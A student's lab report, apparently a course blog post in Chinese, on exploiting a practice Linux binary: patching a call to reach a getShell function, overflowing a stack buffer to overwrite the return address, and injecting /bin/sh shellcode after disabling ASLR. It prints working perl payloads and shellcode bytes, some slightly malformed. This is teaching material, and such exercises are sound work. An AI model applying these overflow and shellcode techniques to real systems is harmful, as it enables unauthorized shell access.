20154322 杨钦涵 Exp1 PC平台逆向破解(5)M

Exp1 PC平台逆向破解(5)M

一、实验目标

  • 本次实践的对象是一个名为pwn1linux可执行文件。
  • 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
  • 该程序同时包含另一个代码片段getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这 个代码片段,然后学习如何注入运行任何Shellcode

二、实验知识掌握

1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

通过反汇编指令objdump -d 20154322yqh查看可执行文件20154322yqh的反汇编代码和对应的机器码

可看出:

NOP汇编指令的机器码是:90

JNE汇编指令的机器码是:75

JE汇编指令的机器码是:74

JMP汇编指令的机器码是:eb

CMP汇编指令的机器码是:39

2.掌握反汇编与十六进制编程器

  • 反汇编:把目标代码转为汇编代码的过程,也可以说是把机器语言转换为汇编语言代码、低级转高级的意思。(来源:百度反汇编

    反汇编指令是objdump -d filename-d是反汇编test中的需要执行指令的那些section。

    其余objdump命令的使用可参考:CSDN博客

  • 十六进制编程器:用来以16进制视图进行文本编辑的编辑工具软件。在vim中即可实现,步骤如下:
    • 输入命令vi 20154322查看可执行文件内容。
    • esc后输入:%!xxd切换为16进制表示。
    • :%!xxd -r切换为原格式。

三、实验步骤及结果

1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

实验步骤如下:

①输入反汇编指令objdump -d 20154322查看可执行文件内容,找到需要修改的代码行

②找到getshell函数和foo函数的地址,分别是0804847d08048491,若想让这条指令之后转入getshell函数,则需将地址 d7ffffff修改 为 getShell(80484ba)对应的补码(47d-4ba),即为:c3ffffff。

③用vim编辑器打开20154322文件vi 20154322,并输入:%!xxd将其转化为16进制表示

④用/e8 d7查找需要修改的内容;

⑤修改d7c3(修改时需先按r

⑥输入:%!xxd -r转换16进制为原格式

⑦保存并退出wq

⑧输入反汇编指令objdump -d 20154322查看修改后的地址,发现修改成功

2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

实验步骤如下:

①由图可知:foo函数执行完成之后,系统会调用的下一条指令的地址为80484ba。我们的目标即是通过foo函数的Bof漏洞输入一段字符串覆盖掉80484ba,使得80484ba的值为0804847d,这样即可getshell函数。

②确认输入字符串哪几个字符会覆盖到返回地址

③用gdb调试程序

  *  `gdb`:调试运行程序,再输入`r`运行程序。

④ 输入有规律的字符串如“1111111122222222333333334444444456781234” 发现缓冲区溢出,用info rinfo r eip查看寄存器eip的值,看输入的哪个字节覆盖了它,发现是“5678”这四个字节。

⑤由于"5678"这四个数最终会覆盖到堆栈上的返回地址,所以我们要用getshell的地址0804847d替换它

⑥根据数据的小端方式存储,我们要在32字节后输入\x7d\x84\x04\x08这四个字节来覆盖返回地址为getshell的地址

  • \x0a表示回车;xxd查看文件十六进制格式的内容。

    perl -e ‘print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"‘ > input将字符串写入input文件;

⑦将input的输入,通过管道符“|”,将(cat input;cat) | ./20154322输入,覆盖返回地址

3注入一个自己制作的shellcode并运行这段shellcode

①安装execstack并修改设置 apt-get install execstack

②准备一段Shellcode

shellcode就是一段机器指令,我们这里使用的shellcode是参考提供。

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

③设置堆栈可执行execstack -s 20154322

④查询文件的堆栈是否可执行execstack -q 20154322

⑤查询文件的堆栈是否可执行execstack -q 20154322

⑥检测地址随机化状态more /proc/sys/kernel/randomize_va_space

⑦关闭地址随机化echo "0" > /proc/sys/kernel/randomize_va_space

⑧检测地址随机化状态more /proc/sys/kernel/randomize_va_space

  • X表示文件的堆栈可执行,0表示地址随机化

⑨注入shellcode:Linux下有两种基本构造攻击buf的方法:retaddr+nop+shellcodenop+shellcode+retaddr。缓冲区小就用前一种方法,缓冲区大就用后一种方法。我们选用retaddr+nop+shellcode方法。

* 与之前相同,我们把输入的字串放入input_shellcode文件里 :

perl -e ‘print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"‘ > input_shellcode,其中,最后的\x4\x3\x2\x1作为试探地址,将覆盖到堆栈上的返回地址的位置。

注意:输入完指令只需要按一次回车,然后我们需要打开另一个终端

⑩用ps -ef | grep20154322查看进程号

由图可知,进程号为:2612

?进入gdb调试该进程 attach 2612

?置断点来查看注入buf的内存地址disassemble foo

  • break *0x080484ae设置断点,用以查看注入buf的内存地址

    可以看到,会断在080484ae,ret完,就跳到我们覆盖的retaddr的位置了。

?在另一个终端按下回车,这样程序就会执行之后在断点处停下来。再在gdb调试的终端输入 c 继续运行程序

?通过info r esp查看esp寄存器的地址

?先找到ESP的地址,再根据ESP的地址找到shellcode的地址。x/16x 0xffffd3cc,找到了1234的位置

?可以看到 01020304 所在的地址为 0xffffd3cc,那么注入的shellcode代码的地址应该在该地址后四个字节的位置,即0xffffd3cc + 0x00000004 = 0xffffd3d0

?退出gdp调试,将shellcode写入

perl -e ‘print "A" x 32;print "\xd0\xd3\xff\xff\x31\xf6\xf7\xe6\x52\x52\x52\x54\x5b\x53\x5f\xc7\x07\x2f\x62\x69\x6e\xc7\x47\x04\x2f\x2f\x73\x68\x40\x75\x04\xb0\x3b\x0f\x05\x31\xc9\xb0\x0b\xcd\x80\x90\x00"‘ > input_shellcode

如图所示,注入攻击成功。

四、存在问题及解决方案

问题1:不明白如何在foo函数地址的基础上修改为getshell函数的地址

方法:两个函数的相对地址是不变的,因此将foo函数地址 d7ffffff修改 为 getShell(80484ba)对应的补码(47d-4ba),即为:c3ffffff。

**问题2:./20154322执行 会出现[ bash: ./20154322:没有那个文件或目录]的提示。

方法:A用文本编辑器打开source.list

B添加下列更新源

`#阿里云kali源

deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib

deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib

deb http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free

deb-src http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free

中科大kali源

deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

deb http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free

deb-src http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free

`

C对软件进行一次整体更新(一共923M的更新包)

apt-get clean apt-get update apt-get upgrade

D安装32位运行库

apt-get install lib32ncurses5

五、实验体会

这是我第一次接触在Linux基础上的网络攻防实验。整体感觉还是挺有趣的,知道了什么是逆向破解,以及逆向破解的三种方法。虽然实验过程有些繁琐,但学到了知识收获还是不少。中途出现了有些问题,也通过上网查找资料,与同学老师交流探讨找到了答案。这种通过自己的一次次尝试实践,一步步获得了理想的实验结果是最大的满足感,也让自己对以后的网络攻防实验充满信心与期待。

原文地址:https://www.cnblogs.com/yqh0524/p/8562347.html

时间: 2024-10-09 12:39:39

20154322 杨钦涵 Exp1 PC平台逆向破解(5)M的相关文章

Exp1 PC平台逆向破解(5)M 20154307 冯彬

Exp1 PC平台逆向破解(5)M 20154307 冯彬 本次只是做了部分实验,课上学习了手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数. 首先,我们先了解本次任务需要用到的代码 1.反汇编,将汇编语言转换成机器语言 `objdump -d 文件名 | more` 2.vi命令,进入文件编辑界面 vi 文件名 3.vi命令状态下的进制转换 ①将当前文本转化为16进制格式 :%!xxd ②将当前文本转化回文本格式 :%!xxd -r 4.vi状态下的查找 /查找的内容 5.

2017-2018-2 《网络对抗技术》 20155322 第二周 Exp1 PC平台逆向破解(5)M

2017-2018-2 <网络对抗技术> 20155322 第二周 Exp1 PC平台逆向破解(5)M 1-实践目标 1.1-实践介绍 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell.正常情况下这个代码是不会被运行的.我们实践的目标就是想办法运行这个代码片段.我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Sh

20155338《网络对抗技术》 Exp1 PC平台逆向破解

20155338<网络对抗技术> Exp1 PC平台逆向破解 实践目标 1.实践的对象是一个名为pwn1的linux可执行文件. 2.该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 3.该程序同时包含另一个代码片段,getShell,会返回一个可用Shell.正常情况下这个代码是不会被运行的.我们实践的目标就是想办法运行这个代码片段. 4.本次实践主要是学习两种方法: (1).利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发get

2017-2018-2 《网络对抗技术》 20155319 第二周 Exp1 PC平台逆向破解(5)M

2017-2018-2 <网络对抗技术> 20155319 第二周 Exp1 PC平台逆向破解(5)M 一.实践目标 1.1实践介绍 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell.正常情况下这个代码是不会被运行的.我们实践的目标就是想办法运行这个代码片段.我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何She

20155312张竞予 Exp1 PC平台逆向破解(5)M

Exp1 PC平台逆向破解(5)M 目录 实验内容 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数. 注入一个自己制作的shellcode并运行这段shellcode. 实验步骤及结果 问题及解决方案 参考资料 实验内容 实验知识概要 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 通过反汇编指令objdump -d 20155312zjy查看可执行文件201

Exp1 PC平台逆向破解 20154302薛师凡

Exp1 PC平台逆向破解 20154302薛师凡 一.实践目标 对象是一个名为20154302的linux文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell.正常情况下这个代码是不会被运行的.我们实践的目标就是想办法运行这个代码片段.我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode. 二.实践内容 1.手工修改可执行文件,改变程序执行流程,直接跳

Exp1 PC平台逆向破解 20154301仉鑫烨

Exp1 PC平台逆向破解1 20154301仉鑫烨 1.实验目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell.正常情况下这个代码是不会被运行的.实践目标即为想办法运行这个代码片段.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数. 注入一个自己制作的shellcode并运行这段

20155318 Exp1 PC平台逆向破解(5)M

20155318 Exp1 PC平台逆向破解(5)M 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell.正常情况下这个代码是不会被运行的.我们实践的目标就是想办法运行这个代码片段.我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode 实践内容 手工修改可执行文件,改变程序执行流程,直接跳转到

20155330 《网络攻防》Exp1 PC平台逆向破解(5)M

20155330 <网络攻防>Exp1 PC平台逆向破解(5)M 实践目标 运行pwn1可执行文件中的getshell函数,学习如何注入运行任何Shellcode 本次实践的对象是一个名为pwn1的linux可执行文件. 实践内容 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数. 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数. 注入一个自己制作的shellcode并运行这段shellcode. 基本思路 运行原本不可访问的代码